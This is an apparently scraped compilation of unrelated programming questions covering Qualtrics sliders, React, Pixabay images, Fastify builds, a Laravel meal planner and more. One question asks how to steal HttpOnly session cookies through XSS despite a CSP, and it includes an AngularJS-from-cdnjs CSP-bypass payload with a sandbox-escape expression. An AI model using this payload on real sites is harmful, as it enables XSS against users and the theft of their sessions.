How to customize values in a qualtrics’ slider question?

I’m trying to custom a slider question in qualtrics. I am working with a question scaled in 4 increments (0, 25, 50, 75, 100), where the answers are snaped to increments, so I can make a Likert question more visual (so using labels as “Strongly disagree”, “Neutral” and “Strongly agree”). However, I’d like to change the value shown at each bar, that refers to the numeric increments by default, presenting instead a custom text for each option (for example: “Strongly disagree”, “somewhat disagree”, “Neutral”, “somewhat agree” and “Strongly agree”).

After some research, I guess the only way to implement this is through javascript. However, I have no idea of this language and only found this code that I’d need to modify:

Qualtrics.SurveyEngine.addOnload(function()
{
jQuery('.ResultsInput').change(function()
{
updateTT(jQuery(this));
});

jQuery('.trackHolderRel').mousedown(function()
{
updateTT(jQuery(this));
});

function updateTT(element)
{
console.log(jQuery(element).find('.sliderToolTipBox').length)
if(jQuery(element).find('.sliderToolTipBox').length==1)
jQuery(element).find('.sliderToolTipBox').parent().append('<div class="sliderToolTipBox">2</div>')
jQuery(element).find('.sliderToolTipBox').eq(0).hide();
jQuery(element).find('.sliderToolTipBox').eq(1).html('Strongly disagree')
}

});

I guess it’s a silly thing (hopefully) but I don’t know how to proceed. Right now, it’s always showing “Strongly disagree” for every option, as you can see in the picture. Also, when i select the left option, half of the text is cutted off the window, but this would rather be a secondary problem…

enter image description here

I’d very much appreciate your help! Thanks 🙂

REACT: How to load data correctly

I need to load session data when user click on session name. I have multiple “session” elements so I need to use array or smth. Which type I should use in state and how to push in it?

<div className="session" onClick={()=>{
// How do I push into state
}}>
<p>Session name</p>
// How do I check if data is loaded
{loaded && <div className="session__data">
// How do I put loaded data here ?
</div>}
</div>

Pixabay images are disappearing

I am trying to fetch images from pixabay and show in blog.But images are disappearing after few days. My Code is like below.

function imageSelect_blog(evt) {
            const imageURL = event.target.getAttribute('src');           
            $('#showuploadedimage').attr('src', imageURL);

            var xhttp = new XMLHttpRequest();   
            var url = "/admin/upload_pixabay_image.php";
            var data = { url : imageURL, id: "<?php echo $_GET['id']; ?>" };
            var params = JSON.stringify(data);

            xhttp.open("POST", url, true);
            xhttp.setRequestHeader("Content-type", "application/json");

            xhttp.send(params);
            bootstrapModal.hide();
          }
          
          
          const pixModalBtn = document.getElementById('pixModalBtn');
          const pixabayModal = document.getElementById('pixabayModal');
          const API_KEY = 'api_key';

          var bootstrapModal = new bootstrap.Modal(pixabayModal);

          pixModalBtn.addEventListener('click', function() {
            var modal = document.querySelector('.modal-body');
            modal.innerHTML = `<label class="control-label" for="pixabayinput">Search images in Pixabay</label>
              <div class="col-sm-8">
                <input type="text" class="form-control" id="pixabayinput">
              </div>
              <div class="col-sm-12" id="pixaresult"></div>`;
              
            var closeButton = pixabayModal.querySelector('.close'); 
            var bootstrapModal = bootstrap.Modal.getInstance(pixabayModal);

            closeButton.addEventListener( 'click', function () {
              bootstrapModal.hide(); 
            });

            $(pixabayModal).on('show.bs.modal', function() {
              var pixabayinput = document.getElementById( 'pixabayinput' );

              pixabayinput.oninput = function() {
                // var textBox = this.getInputElement();
                var value = pixabayinput.value;
                  if( value !== "") {
                    var URL = "https://pixabay.com/api/?key="+API_KEY+"&q="+encodeURIComponent(value);

                      var currentPage = 1;
                      var perPage = 20;
                      var totalPages = 0;
                      var totalHits = 0;

                      function showImages(data) {
                        if (parseInt(data.totalHits) > 0) {
                          totalHits = parseInt(data.totalHits);
                          totalPages = Math.ceil(totalHits / perPage);
                          var images = "";

                          $.each(data.hits, function (i, hit) {
                            images += "<img class='pix_image' src='" + hit.webformatURL + "' alt='" + hit.tags + "' width='50' height='60'>";
                          });

                          document.getElementById("pixaresult").innerHTML = "";

                          document.getElementById("pixaresult").innerHTML += "<div id='container'>"+ images +"</div>";

                          // attach click event listener to parent element
                          document.getElementById("container").addEventListener("click", function (event) {
                              // check if target element is an img with the upload_image class
                              if (event.target && event.target.matches("img.pix_image")) {
                                  imageSelect_blog(event);
                              }
                          });

                          // show pagination buttons
                          var pagination = "<div id='pagination'>";
                          pagination += "<button id='prevBtn'>Prev</button>";
                          pagination += "<button id='nextBtn1'>Next</button>";
                          pagination += "</div>";
                          document.getElementById("container").innerHTML += pagination;

                          // add event listeners to pagination buttons
                          var prevBtn = document.getElementById('prevBtn');
                          var nextBtn1 = document.getElementById('nextBtn1');

                          prevBtn.addEventListener('click', function () {
                            currentPage--;
                            getImages(currentPage);
                            nextBtn1.disabled = false;
                          });

                          if (currentPage === 1) {
                            prevBtn.disabled = true;
                          }

                          nextBtn1.addEventListener('click', function () {
                            currentPage++;
                            getImages(currentPage);
                            prevBtn.disabled = false;
                          });

                          if (currentPage === totalPages) {
                            nextBtn1.disabled = true;
                          }
                        } else {
                          document.getElementById("pixaresult").innerHTML = "No hits";
                        }
                      }


                      function getImages(page) {
                        var pageURL = URL + "&page=" + page + "&per_page=" + perPage;
                        $.getJSON(pageURL, function (data) {
                          showImages(data);
                        });
                      }

                      // show loading icon
                      document.getElementById("pixaresult").innerHTML = '<img src="./assets/img/loading_icon.gif">';

                      // fetch first page of images
                      getImages(currentPage);

                  }
                  else {
                    document.getElementById("pixaresult").innerHTML = "";
                    document.getElementById("pixaresult").innerHTML += '<img src="./assets/img/loading_icon.gif">';
                  }
              }



              var URL = "https://pixabay.com/api/?key="+API_KEY+"&q="+encodeURIComponent('red roses');
              document.getElementById("pixaresult").innerHTML = '<img src="./assets/img/loading_icon.gif">';
              $.getJSON(URL, function(data){
                if (parseInt(data.totalHits) > 0) {
                  $.each(data.hits, function (i, hit) {
                    if(i === 0) {
                      document.getElementById("pixaresult").innerHTML = "";
                      document.getElementById("pixaresult").innerHTML += "<div id='container'></div>";
                    }
                    document.getElementById("container").innerHTML += "<img class='pix_image' src='" + hit.webformatURL + "' alt='" + hit.tags + "' width='50' height='60'>";
                  });
                } else {
                  console.log('No hits');
                }
              });
            });

            bootstrapModal.show();
          });

        
        
          function imageSelect(evt) {
            var img = evt.target;
            var editor = CKEDITOR.dialog.getCurrent().getParentEditor();
            const imageURL = evt.target.getAttribute('src'); 
            var xhttp = new XMLHttpRequest();   
            var url = "/admin/upload_pixabay_image.php";
            var data = { url : imageURL };
            var params = JSON.stringify(data);

            xhttp.open("POST", url, true);
            xhttp.setRequestHeader("Content-type", "application/json");
            xhttp.send(params);

            xhttp.onreadystatechange = function() {
              if (xhttp.readyState === 4 && xhttp.status === 200) {
                var response = xhttp.responseText;
                var imgHtml = '<img src="' + 'https://speak5.com/admin/'+ response + '" alt="' + img.alt + '">';
                editor.insertHtml(imgHtml);
                CKEDITOR.dialog.getCurrent().hide();
              }
            };
          }

          CKEDITOR.on( 'dialogDefinition', function( ev )
          {
              // Take the dialog name and its definition from the event data.
              var dialogName = ev.data.name;
              var dialogDefinition = ev.data.definition;

              // Check if the definition is from the dialog we're
              // interested on (the "Link" dialog).

              if ( dialogName == 'image' )
              {
                
                dialogDefinition.dialog.resize( 700, 500 );
                // Add a new tab to the "Link" dialog.
                var API_KEY = 'api_key';
                var URL = "https://pixabay.com/api/?key="+API_KEY+"&q="+encodeURIComponent('red roses');
                

                $.getJSON(URL, function(data){
                if (parseInt(data.totalHits) > 0) {
                  $.each(data.hits, function (i, hit) {  
                    if(i === 0) {
                      document.getElementById("pixa_image_p").innerHTML = "";
                      document.getElementById("pixa_image_p").innerHTML += "<div id='container'></div>";
                    }                    
                    document.getElementById("container").innerHTML += "<img class='pix_image' src='" + hit.webformatURL + "' alt='" + hit.tags + "' width='50' height='60'>";
                  });
                  
                }
                else {
                  console.log('No hits');
                }});                

                dialogDefinition.addContents({
                  id : 'pixabayTab',
                  label : 'Pixabay',
                  elements : [
                    {
                      type: 'text',
                      id: 'pixabayField',
                      label: 'Search images in Pixabay',   
                      onInput: function() {
                        var textBox = this.getInputElement();
                        var value = textBox.getValue();
                          if( value !== "") {
                            var URL = "https://pixabay.com/api/?key="+API_KEY+"&q="+encodeURIComponent(value);  

                              var currentPage = 1;
                              var perPage = 20;
                              var totalPages = 0;
                              var totalHits = 0;

                              function showImages(data) {
                                if (parseInt(data.totalHits) > 0) {
                                  totalHits = parseInt(data.totalHits);
                                  totalPages = Math.ceil(totalHits / perPage);
                                  var images = "";

                                  $.each(data.hits, function (i, hit) {
                                    images += "<img class='pix_image' src='" + hit.webformatURL + "' alt='" + hit.tags + "' width='50' height='60'>";
                                  });

                                  document.getElementById("pixa_image_p").innerHTML = "";                                  

                                  document.getElementById("pixa_image_p").innerHTML += "<div id='container'>"+ images +"</div>";
                                  
                                  // attach click event listener to parent element
                                  document.getElementById("container").addEventListener("click", function (event) {
                                      // check if target element is an img with the upload_image class
                                      if (event.target && event.target.matches("img.pix_image")) {
                                          imageSelect(event);
                                      }
                                  });

                                  // show pagination buttons
                                  var pagination = "<div id='pagination'>";
                                  pagination += "<button id='prevBtn'>Prev</button>";
                                  pagination += "<button id='nextBtn1'>Next</button>";
                                  pagination += "</div>";
                                  document.getElementById("container").innerHTML += pagination;

                                  // add event listeners to pagination buttons
                                  var prevBtn = document.getElementById('prevBtn');
                                  var nextBtn1 = document.getElementById('nextBtn1');
                                  
                                  prevBtn.addEventListener('click', function () {
                                    currentPage--;
                                    getImages(currentPage);                                    
                                    nextBtn1.disabled = false;
                                  });

                                  if (currentPage === 1) {
                                    prevBtn.disabled = true;
                                  }

                                  nextBtn1.addEventListener('click', function () {
                                    currentPage++;
                                    getImages(currentPage);
                                    prevBtn.disabled = false;
                                  });
                                  
                                  if (currentPage === totalPages) {
                                    nextBtn1.disabled = true;                                      
                                  }
                                } else {
                                  document.getElementById("container").innerHTML = "No hits";
                                }
                              }
                              

                              function getImages(page) {
                                var pageURL = URL + "&page=" + page + "&per_page=" + perPage;
                                $.getJSON(pageURL, function (data) {
                                  showImages(data);
                                });
                              }

                              // show loading icon
                              document.getElementById("pixa_image_p").innerHTML = '<img src="./assets/img/loading_icon.gif">';

                              // fetch first page of images
                              getImages(currentPage);                  

                          }
                          else {
                            document.getElementById("pixa_image_p").innerHTML = "";
                            document.getElementById("pixa_image_p").innerHTML += '<img src="./assets/img/loading_icon.gif">';
                          }
                      } 
                    },
                    {
                      type: 'html',
                      id: 'pixa_html',
                      html: '<div id="pixa_image_p"><img src="./assets/img/loading_icon.gif"></div>',
                    }
                  ]
                });
              }
          });

Why images from pixabay are disappearing from my blog posts ?

Am I doing any wrong ?

How to fetch images from pixabay and show in blog posts ?

Fail to run a Fastify/ts app compiled from typescript: ”TypeError: Cannot destructure property ‘Serializer’ of ‘dependencies’ as it is undefined.”

I develop an app with node.js Fastify framework (typescript, ES syntax). I decided to transpile files to CommonJS syntax to avoid incompatibilities in node environment. The app compiles from Typescript to JS successfully, but when I try to run the resulting app.cjs file, I get the following error:

backend/dist$ node app.cjs
/home/myzader/vc-app/backend/node_modules/fastify/lib/error-serializer.js:7
  const { Serializer, Validator } = dependencies
          ^

TypeError: Cannot destructure property 'Serializer' of 'dependencies' as it is undefined.
    at Object.<anonymous> (/home/myzader/vc-app/backend/node_modules/fastify/lib/error-serializer.js:7:11)
    at Module._compile (node:internal/modules/cjs/loader:1368:14)
    at Module._extensions..js (node:internal/modules/cjs/loader:1426:10)
    at Module.load (node:internal/modules/cjs/loader:1205:32)
    at Module._load (node:internal/modules/cjs/loader:1021:12)
    at Module.require (node:internal/modules/cjs/loader:1230:19)
    at require (node:internal/modules/helpers:179:18)
    at Object.<anonymous> (/home/myzader/vc-app/backend/node_modules/fastify/lib/error-handler.js:20:24)
    at Module._compile (node:internal/modules/cjs/loader:1368:14)
    at Module._extensions..js (node:internal/modules/cjs/loader:1426:10)

tsconfig.json:

  "extends": "@tsconfig/node20/tsconfig.json",
  "compilerOptions": {
    "target": "es6",
    "module": "esnext",
    "allowJs": true,
    "outDir": "./dist",
    "rootDir": "./",
    "strict": true,
    "moduleResolution": "node",
    "esModuleInterop": true,
    "noEmitOnError": true,
    "noImplicitAny": true,
    "noImplicitThis": true,
    "strictNullChecks": true, 
    "noUncheckedIndexedAccess": true,     
    "noUnusedLocals": false,
    "resolveJsonModule": true
  },
  "include": [
    "./**/*.ts"
  ],
  "exclude": [
    "node_modules",
    "**/*.spec.ts" // Exclude test files, if applicable
  ]
}

.babelrc:

{
  "presets": [
    ["@babel/preset-env", {
      "modules": "commonjs"
    }],
    "@babel/preset-typescript"
  ]
}

is it related to configs? Thank you!

Network Request Failed – App running on IOS

Context:

  • I have a mobile app with a login functionality that sends a POST request to a local API hosted on my PC at http://192.168.1.110:8000/api/login or (http://127.0.0.1:8000/api/login).
  • The code works perfectly on an emulator but fails on a physical iPhone with a “Network request failed” error and a console warning about an unhandled promise rejection.
const response = await fetch(
        'http://192.168.1.110:8000/api/login?email=' +
          `${email}` +
          '&password=' +
          `${password}`,
        {
          method: 'POST',
          headers: {
            Accept: 'application/json',
            'Content-Type': 'application/json',
          },
        },
      );

Troubleshooting Steps Taken:

  • Verified firewalls on your PC and router are not blocking the connection.
  • Confirmed both the iPhone and PC are on the same Wi-Fi network.

How we can create a react component to bundle and use this bundle in Html

<div id="wid_1714206567697"></div>
<script>
sc = document.createElement("script");
sc.setAttribute("defer",true);
sc.setAttribute("src","https://dbwx2z9xa7qt9.cloudfront.net/bundle.js?cachebust=1714206567697");
sc.setAttribute("theme","false");
sc.setAttribute("footer", "true"); 
sc.setAttribute("widget-type","carousel");
sc.setAttribute("token","64d4f7194a6399b5180ad917");
sc.setAttribute('apiurl', "https://server.onlinereviews.tech/api/v0.0.9");
sc.setAttribute('stats',"true");
sc.setAttribute('addReview',"true");
sc.setAttribute('profile-pic',"true");
sc.setAttribute('review-name',"true");
sc.setAttribute('wl', "true");
sc.setAttribute('wlndig', "");
sc.setAttribute('lang', "us");
sc.setAttribute('brandStyle', "%7B%22sidebar_background%22%3A%22%23dee5ec%22%2C%22sidebar_text%22%3A%22%230d0c0c%22%2C%22brand_button_text_color%22%3A%22white%22%2C%22brand_main_color%22%3A%22%23000000%22%2C%22brand_button_border_radius%22%3A%2220px%22%2C%22brand_sidebar_text_color_opacity%22%3A%22%230d0c0c1a%22%2C%22brand_button_hover%22%3A%22rgb(0%2C%200%2C%200)%22%2C%22brand_button_active%22%3A%22rgb(0%2C%200%2C%200)%22%2C%22brand_main_color_opacity%22%3A%22%230000001a%22%2C%22brand_font%22%3A%22Poppins%22%2C%22star_color%22%3A%22%23128c7e%22%2C%22brand_main_background%22%3A%22%23F6F8F7%22%2C%22brand_card_background%22%3A%22white%22%2C%22poweredByLink%22%3A%22https%3A%2F%2Fsimplycollectreviews.com%22%2C%22poweredicon%22%3A%22https%3A%2F%2Frecensioni-io-static-folder.s3.eu-central-1.amazonaws.com%2Fpublic_onlinereviews%2Fapp.simplycollectreviews.com%2Ftopbar.png%22%7D");
document.getElementById("wid_1714206567697").appendChild(sc);
</script>

when use use this code in html then it show me UI, it is created in reactjs component, how to bundle and create in reactjs

Integration of game made in unity to website for retrieving the information from game to website

I have made a runner game in Unity and build a WebGL build of my game, In my game player earns some coins and the website is made by my friend now i wanted to run the game on his website which i have done but now i want to store the number of coin earned on his database through his website. So tell me how I can do this?

to communicate with external js i tried .jslib but that js file must be written in unity and in my case it is already written by someone else only i can edit some lines

Stealing Cookies with XSS when HTTPOnly and CSP is enabled: Workarounds and Strategies

How can I steal cookie when HTTPOnly is on and CSP rules are defined? Assume that an attacker is given an inputfield that performs HTTP and that it is vulnerable for XSS attacks:

<form action="/createThread?topic={{lcTopic}}" method="post" class="">
    <h2 class="text-muted">New Thread</h2>
    <hr>
    <div class="form-group">
      <label>Body</label>
      <textarea type="text" rows="10" class="form-control" name="body" placeholder="Type the body of your thread here..."></textarea>
    </div>
    <button type="submit" class="btn btn-primary">Create Thread</button>
    <button type="button" id="threadPreview" class="btn btn-default">Preview</button>
  </form>`

In my server I have defined CSP rules as:

.use(
helmet.contentSecurityPolicy({
  directives: {
    defaultSrc: ["'self'"],
    scriptSrc: [
      "'self'",
      "cdnjs.cloudflare.com"
    ],
  },
})
)

The attacker could potentially bypass CSP by injecting the following code into the text field:

<!DOCTYPE html>
<html>
<head>
 <title>XSS Demo</title>
<SCRIPT src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></SCRIPT>
<SCRIPT src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js"></SCRIPT>
</head>
<body ng-app ng-csp>

 <div>
   <button ng-click="$on.curry.call().alert('xss')">Click Me! 
 </button>
    <div style="display:none;">
      {{$on.curry.call().alert('xss')}}
     </div>
 </div>

 </body>
</html>

Now, due to HTTPOnly being enabled, the attacker can’t simply execute “alert(document.cookie)”. What other methods can they employ to steal the cookie considering the CSP rules?

I tried a simple alert(document.cookie) but did not work due to HTTPOnly:

HTTP/1.1 200 OK
X-Powered-By: Express
Content-Security-Policy: default-src 'self';script-src 'self' cdnjs.cloudflare.com;base-uri 'self';font-src 'self' https: data:;form-action 'self';frame-ancestors 'self';img-src 'self' data:;object-src 'none';script-src-attr 'none';style-src 'self' https: 'unsafe-inline';upgrade-insecure-requests
Content-Type: text/html; charset=utf-8
Content-Length: 5924
ETag: W/"1724-zhGBtITbjmwCa+un6GYhGKL+lwo"
Set-Cookie: connect.sid=THE COOKIE; Path=/; HttpOnly
Date: Sat, 27 Apr 2024 09:29:04 GMT
Connection: close

I even tried to do:
{{$on.curry.call().eval("var url = '/'; fetch(url).then(response => console.log(response.headers.get('Set-Cookie')))")}}

but since CSP I get:
angular.js:5930 EvalError: Refused to evaluate a string as JavaScript because ‘unsafe-eval’ is not an allowed source of script in the following Content Security Policy directive: “script-src

NOTE: the attacker is obviously not allowed to change the servercode! He only has access to the input field!

Text overflow problem after generating pdf using Html2canvas and jsPDF

THIS IS PDF GENERATED REPORT
THIS IS WHAT WEBSITE SHOWING

i have created an application of invoice generator where an functionality after filling all feilds you can just download pdf , i am using html2canvas and jsPDF library to convert my Form<div> into a canvas and the jsPDF convert that canvas to a pdf,

There is textarea feild in form when i fill the feild in webpage like 3 lines when text reaches to max width it automatically shift to next line and looks good, okay but the problem is when i am generating PDF the productname text only shows in single line and the rest of the text overflow i cant see that…. how to fix this i have tried eveything css changes textbox to input box nothing works …..

// THIS IS MAIN FILE HERE IS PDF GENERATION MECHANISM
import Head from "./components/Head/Head";
import "./index.css";
import Date from "./components/Datepart/Date";
import Btst from "./components/BtStpart/Btst";
import InvoiceItemForm from "./components/Items/InvoiceItemForm";
import Footer from "./components/Footer/Footer";
import { useState } from "react";
import html2canvas from "html2canvas";
import jsPDF from "jspdf";

function App() {

  const[loader,setLoader] = useState(false);

  const downloadPDF = ()=>{
    const capture = document.querySelector("#invoice");
    setLoader(true);
    html2canvas(capture).then((canvas)=>{
      const imgData = canvas.toDataURL("img/png");
      const doc = new jsPDF('p', 'mm', 'a4');
      const componentWidth = doc.internal.pageSize.getWidth();
      const componentHeight = doc.internal.pageSize.getHeight();
      doc.addImage(imgData, 'PNG', 0, 0, componentWidth, componentHeight);
      setLoader(false);
      doc.save('receipt.pdf');
    })


  }


  return (
    <>
      <button className="download-btn" id="download" disabled={!(loader === false)} onClick={downloadPDF} >
        {loader?(<span>Downloading</span>):(<span>Download</span>)}
      </button>
      <div className="container" id="invoice">
        <Head />
        <Date />
        <Btst />
        <InvoiceItemForm />
        <Footer />
      </div>
    </>
  );
}

export default App;


// THIS IS FORM MAIN COMPONENT WHERE IS ALL TEXTFEILDS AVAILABLE 


import React, { useState, useEffect } from "react";
import "./InvoiceItemForm.css";

function InvoiceItemForm({ onAddItem }) {
  const [items, setItems] = useState([
    { sno: "1", productName: "", qty: "",unit:"Nos.", rate: "", gst: "", total: "" },
  ]);

  const [totals, setTotals] = useState({
    totalTaxable: 0,
    totalGSTAmt: 0,
    overallTotal: 0,
  });

  useEffect(() => {
    updateTotals();
  }, [items]);

  const handleAddItem = () => {
    const lastSno =
      items.length > 0 ? parseInt(items[items.length - 1].sno) + 1 : 1;
    setItems([
      ...items,
      {
        sno: lastSno.toString(),
        productName: "",
        qty: "",
        rate: "",
        gst: "",
        total: "",
        unit: "Nos."
      },
    ]);
  };

  const handleRemoveItem = (index) => {
    const updatedItems = [...items];
    updatedItems.splice(index, 1);
    setItems(updatedItems);
  };

  const handleChange = (index, e) => {
    const { name, value } = e.target;
    const updatedItems = [...items];
    updatedItems[index][name] = value;

    // Calculate TaxableValue
    const qty = parseFloat(updatedItems[index].qty);
    const rate = parseFloat(updatedItems[index].rate);
    updatedItems[index].taxable = (qty * rate).toFixed(2);

    // Calculate GST Amt
    const gstPercent = parseFloat(updatedItems[index].gst);
    updatedItems[index].gstAmt = (
      (gstPercent / 100) *
      updatedItems[index].taxable
    ).toFixed(2);

    // Calculate Total
    updatedItems[index].total = (
      parseFloat(updatedItems[index].taxable) +
      parseFloat(updatedItems[index].gstAmt)
    ).toFixed(2);

    setItems(updatedItems);
  };

  const updateTotals = () => {
    let totalTaxable = 0;
    let totalGSTAmt = 0;
    let overallTotal = 0;

    items.forEach((item) => {
      totalTaxable += parseFloat(item.taxable);
      totalGSTAmt += parseFloat(item.gstAmt);
      overallTotal += parseFloat(item.total);
    });

    setTotals({
      totalTaxable: totalTaxable.toFixed(2),
      totalGSTAmt: totalGSTAmt.toFixed(2),
      overallTotal: overallTotal.toFixed(2),
    });
  };

  return (
    <div>
      <form className="InvoiceItemForm">
        <table>
          <thead>
            <tr>
              <th>SNO</th>
              <th>Product Name</th>
              <th>HSN</th>
              <th>Qty</th>
              <th>Unit</th>
              <th>Rate</th>
              <th>Taxable Value</th>
              <th>GST %</th>
              <th>GST Amt</th>
              <th>Total</th>
              <th>Action</th>
            </tr>
          </thead>
          <tbody>
            {items.map((item, index) => (
              <tr key={index}>
                <td>{item.sno}</td>
                <td>

                // THIS TEXTFEILD SUCKSS.............. IT IS OVERFLOWING IN PDF
                  <textarea
                    className="productName"
                    name="productName"
                    value={item.productName}
                    onChange={(e) => handleChange(index, e)}
                    placeholder="Enter Product Name"
                  />
                </td>
                <td>
                  <input
                    type="text"
                    name={`hsn-${index}`}
                    value={item.hsn}
                    onChange={(e) => handleChange(index, e)}
                    placeholder="HSN"
                  />
                </td>
                <td>
                  <input
                    type="number"
                    name="qty"
                    value={item.qty}
                    onChange={(e) => handleChange(index, e)}
                    placeholder="Qty"
                  />
                </td>
                <td>
                  <input
                    type="text"
                    name="unit"
                    value={item.unit}
                    onChange={(e) => handleChange(index, e)}
                    placeholder="Unit"
                  />
                </td>
                <td>
                  <input
                    type="number"
                    name="rate"
                    value={item.rate}
                    onChange={(e) => handleChange(index, e)}
                    placeholder="Rate"
                  />
                </td>
                <td>
                  <input
                    type="number"
                    className="taxable"
                    name="taxable"
                    value={item.taxable}
                    readOnly
                    placeholder="Taxable"
                  />
                </td>
                <td>
                  <input
                    type="number"
                    name="gst"
                    value={item.gst}
                    onChange={(e) => handleChange(index, e)}
                    placeholder="GST %"
                  />
                </td>
                <td>
                  <input
                    type="number"
                    className="gstAmt"
                    name="gstAmt"
                    value={item.gstAmt}
                    readOnly
                    placeholder="GST Amt"
                  />
                </td>
                <td>
                  {" "}
                  <input
                    type="number"
                    className="total"
                    name="total"
                    value={item.total}
                    readOnly
                    placeholder="Total"
                  />
                </td>
                <td>
                  <button type="button" onClick={() => handleRemoveItem(index)}>
                    Remove
                  </button>
                </td>
              </tr>
            ))}
          </tbody>
        </table>
        <button type="button" onClick={handleAddItem}>
          Add Item
        </button>
      </form>
      <div className="totals-container">

        <div className="alphaTotal">
            <div className="headtot">Total Proforma Invoice Amount In Words</div>
            <input className="alpha_text" type="text"></input>
        </div>


        <table className="totals">
          <thead>
            <tr>
              <th>Total Taxable</th>
              <th>Total GST Amount</th>
              <th>Overall Total</th>
            </tr>
          </thead>
          <tbody>
            <tr>
              <td>{`₹${totals.totalTaxable}`}</td>
              <td>{`₹${totals.totalGSTAmt}`}</td>
              <td>{`₹${totals.overallTotal}`}</td>
            </tr>
          </tbody>
        </table>
      </div>
    </div>
  );
}

export default InvoiceItemForm; .InvoiceItemForm {
  margin: 0 auto;
  padding: 1%;
  font-size: large;
  border: 1px solid black;
}

.InvoiceItemForm h2 {
  text-align: center;
}

.InvoiceItemForm form {
  display: flex;
  flex-direction: column;
}

.InvoiceItemForm label {
  font-weight: bold;
}

.InvoiceItemForm input,
.InvoiceItemForm button {
  width: 5vw;
  padding: 10px;
  margin-bottom: 10px;
  border: 1px solid #ccc;
  border-radius: 5px;
  font-size: large;
}

.InvoiceItemForm textarea{
  font-size: large;
}

.InvoiceItemForm .productNamee {
  width: 9vw;
}

.InvoiceItemForm button {
  background-color: #007bff;
  color: #fff;
  border: none;
  cursor: pointer;
}

.InvoiceItemForm button:hover {
  background-color: #0056b3;
}

.totals-container {
  width: 100%;
  display: flex;
  justify-content: flex-end; 
}

.totals {
  width: 50%;
  border-collapse: collapse;
  border-right: 1px solid black;
  

}

.totals th,
.totals td {
  padding: 13px;
  text-align: center;

}

.totals th {
  background-color: #f2f2f2;

}

.alphaTotal {
  width: 50%;
  border-left: 1px solid black;
  border-bottom: 1px solid black;
  padding: 10px;
}

.headtot {
  display: flex;
  justify-content: center;
  font-size: 1.4rem;
}

.alpha_text {
  width: 99%;
  font-size: 1.5rem;
}

.productName {
  resize: vertical; 
}
enter image description here 

Using webassembly with web workers and CDN

I’d like to use a webassembly module in a web worker. There are three files in the game: library.wasm, library.js and library-worker.js. Everything works fine if all of these are hosted on the same server with a worker code like this:

importScripts ('library.js');

onmessage = async function (ev)
{
    let lib = await library ();
    // do some cool stuff
};

My problem happens when I try to use a version of the library that is hosted in another server, something like this:

importScripts ('https://cdn.jsdelivr.net/npm/[email protected]/dist/library.js');

onmessage = async function (ev)
{
    let lib = await library ();
    // do some cool stuff
};

The main js file is loaded successfully, but it still looks for the library.wasm file locally. Is there any way to make it load the wasm file from the same cdn as the js file?

Is it possible to remain in full screen in mobile browser when switching app or unlocking device screen?

I made a web page that toggles full screen (using JavaScript requestFullScreen and cancelFullScreen methods) when user clicks a button. On desktop browsers, the page remains full screen when switching to other desktop applications.

However on a mobile browser, the web page exits full screen when [1] device screen is locked and user unlocks it or [2] switching to another mobile app and returning to browser app.

Using JavaScript or any equivalent, is there any way to remain in full screen on mobile devices in the above 2 scenarios until user exits the full screen manually, or is this a browser-specific feature that cannot be controlled by JS?

Appreciate some advice. Thank you!

Efficient way to send Float32Array from worker to main thread

i’m running inferencing runtime in a worker, which generates Float32 array images.
Then i need to send this array to main thread, using postMessage.
During profiling i found many strange things.

  1. Surprisingly worker made inferencing about 3 times slower (8ms without worker vs 20ms with worker).
  2. In main thread there is about 20ms time spent in onmessage function.

Didn’t expect that sending 512 x 256 float32 buffer would be so slow.

Currently i’m trying to send ImageBitmap instead of Float32Array. But i didn’t find way to create ImageBitmap from float32array. Is ImageBitmap supports floating point at all?

If not, how can i transfer the array data from worker to main efficiently?

Laravel: Function return “Object” instead of “Array”

I’m building a diet plan with Laravel 8.

Database looks like this:

Recipes Category Calories
Eggs breakfast 180
Yogourt breakfast 50
Apple pie snacks 289
Banana pie snacks 386
Tomato Pasta lunch-dinner 712
Chicken Salad lunch-dinner 956
Vegetables soup lunch-dinner 410
Fish with potatoes lunch-dinner 652

I’d like to get the day’s meals according to average daily calories.

For example, if my daily calories is 1500kcal, I want to get 4 recipes (breakfast/lunch/dinner/snacks) for the day whose total calories are between 1300-1500 calories.

I use the same category for lunch and dinner but I need 2 results from this category.

I built some functions to do this:

use AppModelsRecipe;

// Function to generate combinations of recipes
function generateCombinations($items, $n, $start = 0, $result = [], &$results = []) {
    if ($n === 0) {
        $results[] = $result;
        return;
    }

    for ($i = $start; $i < count($items); $i++) {
        $result[] = $items[$i];
        generateCombinations($items, $n - 1, $i + 1, $result, $results);
        array_pop($result);
    }
}

// Function to filter combinations by total calories
function filterCombinationsByCalories($combinations, $dailyCaloriesMin, $dailyCalories) {
    return array_filter($combinations, function($combination) use ($dailyCaloriesMin, $dailyCalories) {
        $totalCalories = array_sum(array_column($combination, 'calories'));
        return $totalCalories >= $dailyCaloriesMin && $totalCalories <= $dailyCalories;
    });
}

// Function to get daily meal plan
function getDailyMealPlan($dailyCalories, $dailyCaloriesMin) {
    $mealCategories = ['breakfast', 'lunch-dinner', 'snacks'];
    $mealPlan = [];

    foreach ($mealCategories as $category) {
        $recipes = Recipe::where('meal', $category)->get()->toArray();

        // Generate combinations of recipes for this meal category
        $combinations = [];
        if ($category == 'lunch-dinner') {
            generateCombinations($recipes, 2, 0, [], $combinations);
        } else {
            generateCombinations($recipes, 1, 0, [], $combinations);
        }

        // Filter combinations by total calories
        $filteredCombinations = filterCombinationsByCalories($combinations, $dailyCaloriesMin, $dailyCalories);

        // If there are no valid combinations, choose a single recipe with the highest calories
        if (empty($filteredCombinations)) {
            $selectedRecipe = Recipe::where('meal', $category)->orderBy('calories', 'desc')->first();
            $mealPlan[$category] = $selectedRecipe;
        } else {
            // Randomly select a combination from the filtered combinations
            $selectedCombination = $filteredCombinations[array_rand($filteredCombinations)];
            $mealPlan[$category] = $selectedCombination;
        }
    }

    return $mealPlan;
}

But when I do:

$mealPlan = getDailyMealPlan($dailyCalories, $dailyCaloriesMin);
dd($mealPlan);

I get an Object for breakfast, an Object for snacks and one Array with 2 results for lunch-dinner

See here:

array:3 [â–¼
  "breakfast" => AppModelsRecipe {#1388 ▶}
  "lunch-dinner" => array:2 [▶]
  "snacks" => AppModelsRecipe {#1736 ▶}
]

I don’t understand why I don’t get 3 Array. I would like to obtain this result:

array:3 [â–¼
  "breakfast" => array:1 [▶]
  "lunch-dinner" => array:2 [▶]
  "snacks" => array:1 [▶]
]

Any solution?

How do I validate email in PHPMailer which does not exists?

I want to know how to validate emails entered in the input box are real and exist, and if the provided email does not exist I want to throw an error.

